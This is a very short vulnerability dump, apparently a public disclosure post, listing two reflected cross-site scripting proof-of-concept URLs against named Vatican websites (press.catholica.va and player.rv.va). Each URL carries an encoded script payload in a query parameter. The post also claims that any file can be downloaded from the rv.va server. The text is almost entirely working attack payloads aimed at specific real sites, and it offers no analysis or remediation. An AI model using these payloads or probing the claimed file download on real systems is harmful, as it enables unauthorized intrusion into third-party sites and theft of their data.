XSS http://press.catholica.va/news_services/bulletin/bollettino.php?lang=en%22%3E%3C/a%3E%3Cscript%3Ealert%281%29;%3C/script%3E%3C%22 http://player.rv.va/vaticanplayer01.asp?language=it&visual=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E%3C%22 ----------------------------------------------------- It's possible to download any file from the server rv.va